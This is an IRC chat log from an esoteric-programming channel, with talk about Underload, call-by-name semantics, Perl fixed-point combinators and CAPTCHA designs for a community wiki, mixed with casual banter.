13:16:07 <oerjan> the thing i recall is, you want a and b to include only the part of the stack which is actually touched
13:16:13 <ais523> just realised I should use ++ not :: here as it's list concat not cons
13:16:43 <ais523> but the ts and us work like that on every single function, so you typically just omit them from the type
13:17:24 <ais523> err, (Au.(At.a++t->b++t)++a++u->b++u)
13:17:40 <oerjan> i would intuitively use a notation more similar to underl{oad,ambda} itself... i think diggins did too
13:18:52 <ais523> I was thinking more haskellish, just because I was trying to prove an equivalence between something else and Underload
13:18:58 <ais523> and knowing Underload, I was focusing on the something else
13:22:54 <ais523> ofc, the problem with equivalences is that they go both ways
13:23:26 <ais523> and it'd be with typed underload, with untyped underload you can write obviously incorrect programs like that one
13:23:28 <ais523> hey, where's fungot gone?
13:23:29 <oerjan> fizzie: SEVERE FUNGOT SHORTAGE
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13:24:14 <oerjan> that won't print anything
13:24:16 <ais523> it's OK, I have a backup
13:24:24 <ais523> and it should give an out-of-stack error
13:24:27 <ais523> unless I've messed it up
13:24:33 <ais523> yep, I've messed it up
13:25:23 <ais523> now thutubot's pegging my CPU
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13:25:30 <ais523> it's OK, it's gone back to normal now
13:25:45 <fizzie> It had ding bimeouted.
13:26:03 <ais523> hmm, on fungot it runs out of time before it runs out of stack?
13:26:04 <fungot> ais523: and thereby forgo all actual assembly files. you _dynamically_ link those to the ignore list
13:26:18 <ais523> ^ul (((x)~):*:*:*:*:*:*:*:*:*:*:*:*:*^:^):^
13:26:33 <fungot> Available: agora alice c64 ct darwin discworld europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
13:26:43 <ais523> thought so, but wasn't sure
13:26:51 <ais523> it looks like it comes from a set of instruction manuals
13:26:55 <fizzie> The Underload limits are rather random, since the "time" limit is in fact number of operations, and something like ~ on two about-half-the-maximum-stack strings is like the slow.
13:27:04 <ais523> fizzie: ooh, new style idea, can you stick an entire set of manpages in there?
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13:27:28 <fizzie> I guess I could, though I'm not sure how good it would be. The C64 guidebook is already a bit boring.
13:27:32 <fungot> Selected style: c64 (C64 programming material)
13:27:37 <fizzie> fungot: Teach me some programmering, please?
13:27:37 <fungot> fizzie: in the " stack," appears on the screen. what happens when you and your program.
13:27:46 <fizzie> Okay, that was surprisingly funny.
13:28:15 <ais523> make them BSD rather than Linux manpages, and it'll probably work better
13:28:33 <ais523> and preferably a shortish number of words of context
13:29:10 <ais523> oerjan: thutubot's never going to be massively efficient at running Underload because it's written in Thutu
13:29:17 <ais523> which has a tendency to be O(n) slower than other languages
13:29:42 <fizzie> Where n is the number of other languages.
13:30:13 <ais523> fizzie: no, that would be "slower than O(n) other languages"
13:31:15 <ais523> also, brainfuck looks really weird uncapitalized when it's in a list with other languages
13:31:24 <ais523> it's not too bad on its own
13:31:41 <fizzie> I wonder if there are any cars with a "my OTHER language is a brainfuck derivative" bumper sticker.
13:33:01 <ais523> should be the tagline of someone's second esolang, IMO
13:33:10 <ais523> but I've already made two esolangs
13:33:26 <ais523> perhaps we could find someone here willing to invent a language and call it moliabd
13:33:56 <fizzie> Even if you have only invented one language, if it isn't a brainfuck derivative you can't honestly make the moliabd.
13:34:33 <ais523> but most people's first esolang is a BF derivative
13:34:52 <ais523> (mine wasn't, btw; I don't think I've put it online, but it was a hex-grid-based 2D language)
13:43:44 <itidus20> i think c should have a parameter on the break keyword so you can specify how many nested levels you want to break out of
13:44:25 <ais523> itidus20: or better, use labeled break, where you can give a loop a name then specify which loop to break out of by name
13:46:07 <itidus20> ais523: i guess the fact is that it is a sin to want to escape multiple levels of nesting in such languages
13:46:45 <ais523> nah, it's just that the need for structured programming was quite new back then
13:46:46 <itidus20> ais523: named loops is a cool idea though
13:46:53 <ais523> people were busy seeing loops and how they were better than gotos
13:47:03 <ais523> and hadn't finished working out all the sorts of control structure they needed yet
13:47:09 <oerjan> everyone kept going around in circles
13:47:15 <ais523> it's not my idea; several languages have it
13:47:16 <itidus20> its just so cute.. naming a loop
13:47:19 <ais523> the one I'm most familiar with that has it is Perl
13:47:52 <itidus20> for mittens (i = 0; i < 10; i++)
13:48:07 <ais523> that's not the usual syntax, but I like it :)
13:48:55 <itidus20> because i'm esoteric mothafuka
13:52:52 <itidus20> for x = (int i; i < 10; i++); x {printf("%d \n", i);};
13:53:29 <ais523> surely it'd be x = for, not for x =?
13:53:36 <ais523> unless I completely misunderstand what you're getting at
13:53:51 <ais523> actually, hmm, call-by-name languages with currying get that for free
13:56:02 <itidus20> For x; x.initial = "int i = 0"; x.condition = "i < 10"; x.iterator = "i++"; x {printf("%d \n", i);};
13:56:17 <itidus20> i know it doesn't all make sense.
13:57:00 <itidus20> like you can't just treat pieces of source code like string literals trivially.
13:58:02 <ais523> itidus20: in call-by-name, you actually can treat pieces of source code like parse tree literals, except that you can't do anything with them but plug in the blanks and run them
13:58:20 <Jafet> printf "%d \n" `mapM_` [0..9]
13:58:40 <itidus20> ok.. this is finally what i have in mind
13:58:44 <itidus20> for x; x.initial = "int i = 0"; x.condition = "i < 10"; x.iterator = "i++"; x.body = "printf("%d \n", i);"; x;
13:58:44 <ais523> Jafet: are you missing a >?
13:59:11 <ais523> it's like, umm, object-oriented Tcl
13:59:23 <Jafet> I thought that was called ruby
13:59:50 <oerjan> i don't know if call-by-name languages usually massacre lexical scoping like that
14:00:11 <itidus20> oerjan: yeah the actual parts of te code relating to i are all broken
14:00:50 <ais523> oerjan: they don't, and indeed can't
14:01:00 <ais523> in CBN with the same syntax it'd start off for x; int i; and otherwise look the same
14:01:10 <ais523> with i = 0 rather than int i = 0
14:01:22 <ais523> that way, it'd be the same i (via lexical scoping) in each of the string literals
14:01:45 <ais523> admittedly, it'd be a weird language that scoped into string literals, but then they're parse tree literals not string literals, which obviously can sensibly contain scoped variables
14:02:00 <itidus20> i guess technically it could be pointers to pieces of code
14:02:17 <fizzie> The numbered multi-level break is a bit on the messy side.
14:02:36 <ais523> itidus20: that is indeed a common implementation
14:03:09 <oerjan> > printf "%d \n" `mapM_` [0..9::Int] :: String
14:03:10 <lambdabot> Couldn't match expected type `GHC.Types.Char'
14:03:10 <thutubot> Couldn't match expected type `GHC.Types.Char'
14:03:34 <oerjan> > printf "%d \n" =<< [0..9::Int] :: String
14:03:35 <lambdabot> "0 \n1 \n2 \n3 \n4 \n5 \n6 \n7 \n8 \n9 \n"
14:03:35 <thutubot> "0 \n1 \n2 \n3 \n4 \n5 \n6 \n7 \n8 \n9 \n"
14:04:57 <itidus20> but since i imposed my topic, time for me to scroll up at what i interrupted
14:05:16 <Jafet> I have done higher-order functions in PHP before
14:05:39 <oerjan> itidus20: i think the conversation was relatively dead at that point
14:06:02 <Jafet> A PHP function creates another PHP function that, when called, creates an SQL stored procedure
14:06:19 <Jafet> I don't think anyone ever understood that program.
14:06:56 -!- oerjan has quit (Quit: Oops).
14:07:08 <fizzie> Higher-order functions are natural in Perl. For example, here's fib with the Y combinator.
14:07:11 <fizzie> !perl print &{&{sub { my $f = shift; return &$f($f); }}(sub { my $f = shift; return sub { my $n = shift; return 1 if $n < 2; return &{&$f($f)}($n-1) + &{&$f($f)}($n-2); }; })}(11);
14:07:16 <fizzie> Simple as sliced bread.
14:09:21 <fizzie> (At least I hope it is that; I just grepped for it.)
14:12:18 <ais523> that's not the Y combinator, that's the mockingbid combinator
14:12:59 <ais523> verified both by looking at the combinator itself, and by observing the unusual way the recursive calls are made
14:13:32 <fizzie> Yes, in retrospect &{&$f($f)}($n-1) looks kinda funny.
14:14:01 <itidus20> an interesting use for this is if you were to say for (j = 0; j < 10; j++) {for (i = 0; i < 15; i++) {printf("%d%d\n",i,j)}} equivalent to x(10,15) printf("%d%d\n",x[0],x[1]);
14:14:28 <itidus20> maybe with those last [0] and [1] swapped around
14:15:35 <ais523> you can of course write a Y-like fixed point combinator in Perl
14:15:48 <ais523> although you'll end up with the usual debate as to whether an arbitrary least fix point operator is Y or not
14:16:36 <itidus20> you could even change the loop's parameters from within the loop in theory
14:19:11 <itidus20> i guess you can already do that easy enough
14:20:21 <ais523> itidus20: right, because most imperative languages already use the CBN-like interpretation of control constructs, as they can't sensibly be expressed in call-by-value
14:20:30 <itidus20> such as while (x < n) { if (x > 40) n--; [...] }
14:20:47 <ais523> itidus20: right, that works in C
14:20:59 <ais523> because it does a CBN-like re-evaluation of x<n each time round the loop
14:21:01 <itidus20> its not something i would normally think of though
14:21:09 <ais523> this is the reason that while is a keyword in C, not a standard library function
14:22:16 <ais523> whereas in a CBN language, you can write while as a function: while(bool condition, com command) {if(condition) {command; while(condition, command);}}
14:22:55 <ais523> you could also write if as a function, although you'll need a conditional operator in your language /somewhere/ to write the others in terms of
14:23:07 <ais523> whether it's if or while or ?: or just using a churchish boolean
14:24:51 <ais523> (the last method is basically true(com iftrue, com iffalse) {iftrue;} false(com iftrue, com iffalse) {iffalse;}, and now your if is if(condition, iftrue, iffalse) {condition(iftrue,iffalse)}
14:25:01 <ais523> CBN = call by name, it's a calling convention
14:25:24 <ais523> in practice, CBN languages tend not to use C-like syntax, although like all syntax it's interchangeable
14:25:33 <ais523> best-known CBN language is probably Algol 60
14:32:54 <fizzie> !perl print &{&{sub { my $f = shift; return &{sub { my $x = shift; return $f->(sub { my $n = shift; return &{$x->($x)}($n); }); }}(sub { my $x = shift; return $f->(sub { my $n = shift; return &{$x->($x)}($n); }); }); }}(sub { my $f = shift; return sub { my $n = shift; return $n if $n <= 1; return $f->($n-1) + $f->($n-2); }; });}(12);
14:33:02 <fizzie> Looks somehow overly complicated, but oh-well.
14:36:16 <ais523> hmm, is that an actual y, rather than just a simple definition of fixpoint?
14:37:59 <fizzie> It was a translation of (((lambda (f) ((lambda (x) (f (lambda (n) ((x x) n)))) (lambda (x) (f (lambda (n) ((x x) n)))))) (lambda (f) (lambda (n) (if (<= n 1) n (+ (f (- n 2)) (f (- n 1))))))) 12).
14:38:18 <ais523> yep, that looks like Y all right
14:40:44 <fizzie> > (fix (\f n -> if n <= 1 then n else f (n - 1) + f (n - 2))) 12
14:40:50 <oklopol> today at work, we broke two of our proofs.
14:41:06 <oklopol> i officially declare this the most fuckfaced shithole of a day in the universe
14:41:53 <oklopol> they proved the same thing and we may have a correction, but it does not have the innocence of the previous ones.
14:42:36 <oklopol> so happy most fuckfaced shithole of a day in the universe to you all
14:43:25 <ais523> I like the name, we should make this an annual event
14:43:36 <fizzie> Today at work I computed some variances for things by making at least three unwarranted assumptions about the distribution of other things. Man, being an engineer instead of a real scientist is such a leave-your-brain-at-the-door occupation.
14:48:52 -!- oklopol has set topic: http://codu.org/logs/_esoteric/ | Happy Most Fuckfaced Shithole of a Day in the Universe to Each and Everyone! :>.
14:49:02 <oklopol> i felt the other crap was unnecessary
14:49:33 <ais523> oklopol: I was going to do that, but your version is better
14:50:05 <oklopol> i'm feeling better already for doing that
14:50:14 <itidus20> i wonder how to celebrate this most fuckfaced shithole of a day in the universe
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14:53:37 <oklopol> well you could start by taking something you've spent a ton of effort to do and know to be awesome, spending 45 minutes of 10 ppl's time explaining it and then realizing that it's full of shit and you're a fucking retard.
14:53:44 -!- Slereah has quit (Ping timeout: 244 seconds).
14:54:09 <oklopol> that's the usual way to celebrate the most fuckfaced shithole of a day in the universe.
14:57:20 <oklopol> well i didn't even realize it, my colleague did. i just broke the second proof too.
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14:58:33 <oklopol> it was rather fitting that it turned out to be the 13th
15:02:16 <oklopol> you know, because i'm really really superstitious.
15:02:25 <ais523> oklopol: we have a known-incorrect proof in a published paper
15:02:36 <ais523> or to be specific, the proof proves a known-incorrect result
15:02:53 <ais523> we have the result fixed (it was just a mistake in definitions), but it's kind-of worrying how we proved it if it's wrong
15:04:30 <oklopol> yeah in my master's thesis i ask this question about whether this class called UFA is closed under union, and explained why i believe it's not (it would be a surprising result). it was certainly in the top10 most interesting things in there, and when i looked more closely into the definitions, i realized it's trivially closed under union.
15:04:47 <oklopol> i have fixed this in our later article, and it's really just because the definition was wrong.
15:07:43 <oklopol> so this girl i know realized that her second most preferred career choice is out of the question after two days in there.
15:08:07 <oklopol> i think i may be made out of magic.
15:08:12 <oklopol> sorry if i fuck up your day.
15:17:29 -!- Taneb has joined.
15:18:13 <fizzie> Taneb: Careful there, you might catch some sucky-dayness from oklopol.
15:19:03 -!- Taneb has set topic: http://codu.org/logs/_esoteric/ | We do esolangs. Deal with it..
15:19:19 <fizzie> That was a short-lived topic.
15:19:20 -!- oklopol has set topic: http://codu.org/logs/_esoteric/ | Happy Most Fuckfaced Shithole of a Day in the Universe to Each and Everyone! :>.
15:19:27 -!- oklopol has set topic: http://codu.org/logs/_esoteric/ | Happy Most Fuckfaced Shithole of a Day in the Universe to Each and Everyone! :> | Deal with it..
15:20:57 -!- Gregor has set topic: http://codu.org/logs/_esoteric/ | Happy Most Duckfaced Piffle of a Day in the Universe to Each and Everyone! :> | Deal with it..
15:22:22 -!- oklopol has set topic: http://codu.org/logs/_esoteric/ | Happy Even Topics Suck Ass Day to Each and Everyone! :> | Deal with it..
15:22:50 -!- Gregor has set topic: http://codu.org/logs/_esoteric/ | Happy Even Topics Suck Donkey Day to Each and Everyone! :> | Deal with it..
15:23:39 -!- itidus20 has quit (Ping timeout: 240 seconds).
15:26:00 -!- oklopol has set topic: http://codu.org/logs/_esoteric/ |http://codu.org/logs/_esoteric/ | Happy Odd Topics Suck Donkey Day to Each and Everyone! :> | Deal with it..
15:28:28 <oklopol> excuse me but does this topic have two log links
15:33:06 <oklopol> you're a bot so you wouldn't understand.
15:37:39 <oklopol> you only understand two things
15:38:42 <ais523> > "did I fix this bug yet?"
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16:00:22 <kallisti> :t let f n a b = a `mod` n == b in f 2
16:00:23 <lambdabot> forall t. (Integral t) => t -> t -> Bool
16:00:23 <thutubot> forall t. (Integral t) => t -> t -> Bool
16:01:07 <kallisti> yo dawg I heard you like equivalence classes, so we made your integers congruent and ... actually I can't make this into a yo dawg meme so I'm just going to stop now.
16:02:25 <ais523> kallisti: you dawg I heard you like equivalence classes, so I put some integers in your car so you can make them congruent while you drive
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17:07:31 <itidus20> as i am showing this weird thing i did to several channels, will also say so in here
17:08:13 <itidus20> i had this idea, and i made a mockup of it using donkey kong pictures http://oi42.tinypic.com/ddgimt.jpg it got shrunk down quite a bit on upload.. but it didn't lose any quality in the process really
17:08:38 <itidus20> this is the original pics for reference: http://www.mobygames.com/game/nes/donkey-kong/screenshots
17:10:13 -!- thutubot has quit (Remote host closed the connection).
17:10:18 <ais523> (I just quit it manually)
17:11:26 <Gregor> Manually ... WITH YOUR MIND!
17:12:30 <itidus20> yeah i got this idea from the torus discussions in here
17:13:40 <ais523> btw, what's the evaluation strategy called where every function call in the code is pure and you know the argument it'll get already, you start running it in a different thread to see what value it produces, and kill the thread once you go out of scope (i.e. the function would get another argument next time)?
17:13:46 <ais523> I think it was discussed in here a while back
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17:13:55 <ais523> and my supervisor just independently reinvented it
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17:14:11 <ais523> it sounds crazy, but we realised it's actually one of the most efficient strategies around for hardware compilation
17:14:31 <Gregor> That's not really an evaluation strategy, but entails one.
17:14:41 <Gregor> (pure futures, that is)
17:14:54 <ais523> well, this is an evaluation strategy that could be used as written with, say, Haskell
17:15:06 <ais523> (whose purity makes it very easy to use arbitrary evaluation strategies with it)
17:15:23 <ais523> (if they deal with nontermination correctly, and that one does by killing the thread if termination status is irrelevant)
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18:07:02 <Taneb> You know what's weird>
18:07:21 <Taneb> I think I'm reading a book that a fictional character in a different book which I am also reading is reading
18:10:17 <Taneb> The books are Fermat's Last Theorem by Simon Singh and The Girl Who Played With Fire by Steig Larrsson
18:12:23 <itidus20> there is an idea which might only make sense to me, related to misheard song lyrics and fictional characters
18:13:20 <itidus20> but anyway, by reading a preview or review of something.. or seeing a trailer of something
18:13:52 <zzo38> I got this build error for my package: "Something is amiss; requested module template-haskell-2.6.0.0:Language.Haskell.TH differs from name found in the interface file template-haskell:Language.Haskell.TH" Did I do something wrong or is Hackage wrong?
18:13:59 <itidus20> you can end up imagining what the story might be about, filling in the gaps. and this imagining itself is an act of creation.
18:14:14 <zzo38> itidus20: O, yes, then make up such a thing.
18:14:44 <itidus20> a similar thing can happen when you mishear song lyrics you end up with a unique song, which only barely makes sense to you because you were desperate to make some sense out of it
18:15:25 <zzo38> The story of my D&D game has a few gaps (they are mostly marked with square brackets; I forgot what happened), so maybe someone can help me to make up something there
18:15:59 <Taneb> itidus20, heh, I ended up with an epic love song called "I am a running tap" via that mechanism
18:16:01 <itidus20> sometimes, in song lyrics you can discover yourself warping grammar a bit in fun ways.. and perhaps credit the song author with interesting use of grammar which he doesn't deserve since its not his lyrics
18:16:08 <Taneb> Of course, epic love song is a bit of an oxymoron
18:16:40 <zzo38> I have read some things about misheard song lyrics. Usually the music I listen has no lyrics; it is instrumental.
18:17:11 <itidus20> one of my favorites is "even flow... on the road like porno stars.. he don't know..so he chases them (the porno stars?) away
18:18:19 <itidus20> there is a lot in (the words) "who is a devil?" you can't survive so i'll be your guide
18:19:36 <itidus20> real one is "Now who's the light and who is the devil. You can't decide so i'll be your guide."
18:19:48 <itidus20> i may have used decide in my version
18:21:41 <itidus20> and "Even flow, thoughts arrive like butterflies. Oh, he don't know so he chases them away, yeah"
18:24:07 <itidus20> so, unfortunately as time goes on i find that things are rarely as cool as i first imagine them to be
18:26:25 <itidus20> i guess its also quite common to underestimate lyrics when you don't actually hear them
18:27:13 <itidus20> so its interesting that singing isn't merely about communicating a stream of words
18:32:28 <itidus20> zzo38: worlds inspired by such things from my firsthand experience can be exciting to create.
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19:35:48 <Taneb> The next Gunnerkrigg will be #1000
19:43:21 <Taneb> I'm not entirely sure if /I/ care.
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19:47:23 <fizzie> /I/ was confused by "#1000"; was all "what sort of color code is that, shouldn't it have either three or six (or 12) digits, is that like a *really* bright #fff."
19:47:55 <ais523> fizzie: clearly it's an entirely transparent dark red
19:48:15 <ais523> just like #F990 is an appropriate color for an invisible pink unicorn
19:49:24 <fizzie> For some reason I'd've put the alpha channel first.
19:51:46 <fizzie> urxvt accepts colour specifications of the form "rgba:RRRR/GGGG/BBBB/AAAA", where the uppercase letters are hex digits.
19:52:02 <ais523> RGBA is the normal order
19:52:36 <olsner> #1000 is the blink bit - that's blinking black
19:52:58 <olsner> adding #2000 makes it a marquee
19:53:29 <olsner> (and #4000 is a tiling under construction gif?)
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19:54:12 <fizzie> Sure, it's the normal order, but for some reason when in four-digit "#xxxx", I'd've done ARGB.
19:55:16 <fizzie> I think Inkscape's color-selector has an eight-hex-digits field of the color being selected.
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19:57:53 <fizzie> "Unlike RGB values, there is no hexadecimal notation for an RGBA value." (CSS3.) Aw.
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20:01:44 <elliott> I've added more CAPTCHAs to the test wiki at http://95.149.228.149:8181/wiki/Main_Page; prizes to anyone who fills out all of them without looking them up
20:02:21 <Gregor> Uhhhhh, CAPTCHAs shouldn't be hard enough to deserve prizes X-D
20:02:30 <Sgeo> "without looking them up"
20:02:45 <Sgeo> Normal use probably involves looking them up
20:03:03 <Gregor> Oh, they come with a link.
20:03:06 <Gregor> OK, so it's just "read"
20:03:20 <ais523> yep, the CAPTCHA is basically about ability to parse and understand English
20:03:25 <ais523> which is a hard task for computers at current
20:03:36 <elliott> and follow URLs, which is a hard task for someone being paid to fill out CAPTCHAs out of context
20:03:57 <ais523> elliott: I imagine those people probably have web browsers by now
20:04:07 <itidus20> ok i have seen the first captcha.. and i can't answer it without looking it up :D
20:04:11 -!- Gregor has set topic: http://codu.org/logs/_esoteric/ | Resistance is not tolerated.
20:04:14 <elliott> I heard they're usually just presented with it out of context, but who knows
20:04:17 <ais523> main reason to do that is to make the captchas hard to MitM
20:04:30 <ais523> which is a moderately uncommon trick, but has been known to work
20:04:39 <ais523> or, I guess it's a reverse-MitM
20:05:15 <elliott> itidus20: which one was it?
20:05:58 <itidus20> i went to add blah2 to ehird's user page
20:06:05 <Gregor> Who catered UnlambdaCon 2011?
20:06:18 <elliott> itidus20: the link in that one actually works
20:06:34 <elliott> I didn't bother adding articles for the new three, though
20:06:37 <itidus20> it first appeared to me that the edit had worked.. so i went to click on main page
20:06:51 <itidus20> and it said.. Leave Page Stay on page
20:07:07 <itidus20> thats when i noticed the captcha subtly placed
20:07:12 <olsner> mwahaha, I have successfully spammed the wiki, your captcha has failed
20:07:13 <elliott> yeah, it's hard to notice :(
20:07:22 <Gregor> Yeah, the appearance of the CAPTCHA is a bit surprising.
20:07:25 <elliott> I wish it came in a box or something
20:07:32 <elliott> having said that, it looks the same on the current esowiki
20:07:50 <elliott> olsner: Gregor: itidus20: Did you notice the "Blah blah blah blah!" at the top of the pages?
20:07:55 <elliott> ais523 didn't, so I'm worried that it's not noticeable enough
20:08:04 <elliott> (it'll contain server migration/technical problem contact information for a week or so)
20:08:07 <Gregor> I noticed it, but it was just "Blah blah", so uh
20:08:17 <elliott> They'll be *helpful* blahs!
20:09:09 <itidus20> elliott: [not giving serious critic here] reading this chat, it reminds me of one of those evil super mario bros hacks ... as if it is booby trapped
20:09:10 <olsner> elliott: yes, but I didn't reflect over the fact that it was not part of the wiki-page content (which already was full of spam and Blah Blah-like stuff)
20:09:48 <itidus20> "did you spot the blahblablah?" "did you spot the captcha?"
20:09:48 <ais523> itidus20: you're accusing an IRC channel of being a kaizohack?
20:09:56 <Gregor> <olsner> elliott: yes, but I didn't reflect over the fact that it was not part of the wiki-page content (which already was full of spam and Blah Blah-like stuff) // agreed
20:10:12 <itidus20> ais523: no no no... no no... not at all no... just the wiki
20:10:13 <olsner> I had to reopen the page to realize that there was a blah blah there and that I had already seen it
20:10:54 <elliott> it will probably be more noticeable above http://esoteric.voxelperfect.net/wiki/Main_Page
20:10:56 <itidus20> to make spambots feel as if they are playing a kaizohack
20:11:03 <elliott> but I'll try and make it a little more obvious
20:11:09 <itidus20> elliott: don't go too easy on them though
20:11:25 <olsner> elliott: it'd probably help the most if it was an actual sentence
20:11:29 <itidus20> the more of a kaizohack it is the better
20:11:30 <Gregor> itidus20: To commit changes, you have to hit this P switch before going through the goal?
20:11:50 <olsner> sentences usually give some clue to why they're there and what they're about
20:13:02 <itidus20> Gregor: the "save page" button will hide if you try to use it
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20:14:07 <ais523> Gregor: heh, the wiki for a while actually had a "your edit looks like spam, if you try to submit it again you will be blocked unless you put this specific string in the edit summary somewhere"
20:14:41 <Gregor> And what was wrong with that that the test had to go?
20:15:04 <olsner> how clever are the esowiki spammers? C2 wiki had a nice simple password system for a long time that was basically "Enter the password: [....] (the password is 1234)"
20:15:05 <ais523> Gregor: it prevented people linking to example.com
20:15:28 <elliott> http://95.149.228.149:8181/wiki/Main_Page OK, how about now?
20:15:28 <ais523> olsner: we have many different spammers; the current ones seem to know about MediaWiki in particular, but not esolang in particular
20:15:40 <ais523> Gregor: that's not a very good method of recognising spambots
20:15:49 <elliott> It's more noticeable, but doesn't seem obtrusive on e.g. http://95.149.228.149:8181/wiki/Univar to my eye.
20:16:33 <Gregor> elliott: My only complaint is that it should read "We've moved servers! If you experience any problems, too god damn bad."
20:17:37 -!- olsner has set topic: http://codu.org/logs/_esoteric/ | Resistance is frowned upon.
20:17:40 <elliott> olsner: Probably not very clever, but at least one of them can solve the arithmetic captcha we currently have.
20:17:51 <elliott> (Which is just a trivial textual addition (or sometimes subtraction, I think).)
20:18:03 <elliott> They might not be able to solve a copy of the C2 CAPTCHA, but only because they don't know about it.
20:18:13 <ais523> elliott: it's a bit obtrusive, but in a position where I can easily scroll it away, so I don't mind
20:18:18 -!- kallisti has joined.
20:18:18 -!- kallisti has quit (Changing host).
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20:18:59 <itidus20> ok its probably not cool but ill spell it out
20:19:30 <olsner> well, if they don't know about esowiki specifically they won't figure out anything the least custom we make regardless of how easy it is? or will some human involve itself after they notice a wiki that doesn't work?
20:19:32 <itidus20> so.. the capctha looks like an ordinary captcha... but it doesn't have any text in it whatsoever.. just fragments pretending to be text
20:19:48 <itidus20> and... it has a random colour background
20:20:10 <itidus20> and you get people to type in the colour of the background in natural language
20:20:34 <kallisti> olsner: rule #1: don't overestimate the intelligence of spammers
20:20:36 <itidus20> i know its trouble for colourblind and blind though
20:21:08 <itidus20> so you just say, "what is this?" and show mostly a block of colour, with a few fragments of another colour
20:21:15 <kallisti> olsner: even if they notice they're not going to put time/effort into targeting a custom wiki. They have spambots that work with mediawiki specifically because it's so common and allows them to spam to many many different sites.
20:21:25 <olsner> itidus20: presumably blind people will have no problem inspecting the HTML and extracting the color value
20:21:28 <elliott> http://95.149.228.149:8181/wiki/Main_Page ;; I improved the colours :P
20:21:50 <kallisti> I doubt they would care that they can no longer target esowiki.
20:22:05 <itidus20> olsner: not the worst idea though eh?
20:22:48 <fizzie> Rule 2: don't underestimate the desirability of the sought-after esolang market to spammers.
20:23:05 <fizzie> They know where the big money is.
20:23:15 <elliott> I bet fizzie can fill in all the CAPTCHAs without looking them up.
20:23:18 <ais523> haha, I could use AbuseFilter to allow, say, only one BF derivative to be added to the wiki per day
20:23:38 <fizzie> I bet I don't even know how to see them all.
20:23:54 <elliott> fizzie: Try to edit http://95.149.228.149:8181/wiki/Main_Page repeatedly.
20:23:57 <elliott> There are five (5) unique ones.
20:24:04 <elliott> (You can just submit without filling in to get the next one.)
20:24:11 <elliott> Maybe I'll just tell you them.
20:24:32 <elliott> When was Underload created?
20:24:46 <elliott> What language was the wire-crossing problem first considered for?
20:24:53 <elliott> What INTERCAL variant uses ternary rather than binary?
20:24:56 <kallisti> honestly I think you would completely stop spam if you just changed some of the names/ids of elements on the page.
20:25:09 <olsner> maybe you could make it so that underload is the only captcha question? remembering 2006 is not that hard, but the name of the guy who created unlambda is, like, more than 3 unique characters
20:25:19 <elliott> kallisti: Yes, everyone has an obvious, trivial, obstruction-free solution to spam that doesn't work.
20:25:19 <ais523> with modern spambot frameworks, you'd apparently have to add extra elements in random places too
20:25:35 <ais523> and make them not invisible
20:25:43 <ais523> although you could make them very small and hide them behind other things
20:25:52 <ais523> and then you'd confuse people using screen readers, etc
20:26:06 <itidus20> anyway, as i sincerely have nothing better to do, this is the mockup of my captcha idea http://oi43.tinypic.com/2j8ho7.jpg
20:26:27 <kallisti> elliott: you really like to exaggeate things out of proportion don't you?
20:26:57 <fizzie> I did the element-id-renaming on one phpbb, and it worked when I did it, but then later on stopped.
20:27:04 <elliott> kallisti: I exaggerated nothing except for "everyone".
20:27:19 <elliott> fizzie: STILL WAITING FOR YOUR ANSWERS.
20:27:34 <elliott> itidus20: What you seem to have missed is that it's really really easy for a computer to solve.
20:27:40 <ais523> elliott: via PM, presumably?
20:27:53 <elliott> itidus20: Take the largest area, take its RGB colour, look up in an RGB -> colour name database.
20:27:58 <ais523> itidus20: and also hard for a human to work out what it's getting at
20:28:07 <itidus20> elliott: but it has to want to
20:28:21 <ais523> itidus20: the current Esolang spammers know the workings of its CAPTCHA
20:28:30 <ais523> this may well be because it's the one that comes with MediaWiki by default
20:28:39 <kallisti> fizzie: yes, they would probably have to make some kind of custom script with the new ids (or you know the obvious solution like AI botnet hivemind).
20:28:39 <elliott> fizzie: By the way, did you download the forum? I got Deewiant to do it since I don't trust only one Finn.
20:28:47 <elliott> ais523: it's the "baseline" ConfirmEdit captcha, so yes
20:29:08 <elliott> kallisti: Or just going by element order.
20:29:23 <itidus20> elliott: one secret is by not actually having the world colour anywhere on the captcha
20:29:24 <ais523> <elliott> fizzie: By the way, did you download the forum? I got Deewiant to do it since I don't trust only one Finn. <-- http://qdb.rawrnix.com/?615
20:29:38 <fizzie> Oh, I didn't realize I was supposed to answer them. Meh, not gonna. I'm so bad about time, I don't really have a clue about the when thing, except I have a feeling it might've been sometime the last decade.
20:29:40 <olsner> "... since I don't trust only one Finn." - and you trust two finns *more*?
20:29:47 <ais523> itidus20: that just makes it harder for humans without making it harder for computers
20:30:05 <itidus20> ais523: the computer is supposed to be tricked by the black dots
20:30:10 <ais523> which is not normally a desirable property for CAPTCHAs
20:30:12 <fizzie> And no, I forgotteded about it, then remembered, then forgotteded.
20:30:40 <ais523> itidus20: the problem with CAPTCHAs is that most spammers can spare the time to have one human configure them for each site they come across
20:30:44 <ais523> and just let them spam from there
20:30:46 <elliott> olsner: Two Finns are better than one.
20:31:28 <elliott> I bet olsner knows all the answers.
20:31:32 <elliott> I bet SOMEONE knows all the answers.
20:33:06 <olsner> hmm, SOMEONE should be an acronym (or that thing everyone calls an acronym but really isn't?) for something
20:33:20 <elliott> OK, the TODO list before the new esowiki can go live: Figure out the preferences weirdness, get stuff automated, prepare server, contact Graue.
20:33:23 <ais523> olsner: an acronym is an initialism that is also a real word
20:33:41 <elliott> ... and figure out why http://95.149.228.149:8181/w/ isn't redirecting to /wiki/Main_Page
20:34:00 <itidus20> a captcha where you have to pick the sexy person versus the ugly person?
20:34:01 <olsner> is also a real word? or has the same letters? I think words and same-lettered acronyms should be separate entities
20:34:25 <olsner> itidus20: subjective...
20:34:45 <itidus20> it could be tinkered with by the editor
20:34:49 <olsner> also, 50/50 chance of getting it right, just keep guessing
20:34:56 <ais523> oh, something I'd like a bit of advice on: I'd like to write a CGI script that takes a user-entered path, and returns a file with that name in a particular directory tree, while counting the fact it was requested
20:35:11 <ais523> basically, acting like an HTTP fileserver except that it has a hit counter
20:35:31 <kallisti> a) remove anonymous edits b) require a captcha on the create account page c) obfuscate the form field labels by using "for" attributes that point to the incorrect form field (does this break legitimate software somewhere?) d) move the captcha to the bottom of the create account form, thus changing the element order of forms.
20:35:33 <ais523> except that I have to write it in PHP, and am not sure how to secure it to avoid, say, directory traversal attacks, or even shell injection attacks because this is PHP we're talking about
20:35:53 <ais523> kallisti: a) require a CAPTCHA for anonymous edits
20:35:54 <elliott> itidus20: There's already a CAPTCHA based on image distinguishing.
20:36:03 <kallisti> ais523: captchas aren't really a big deal.
20:36:12 <ais523> and obfuscating labels really does break legitimate software
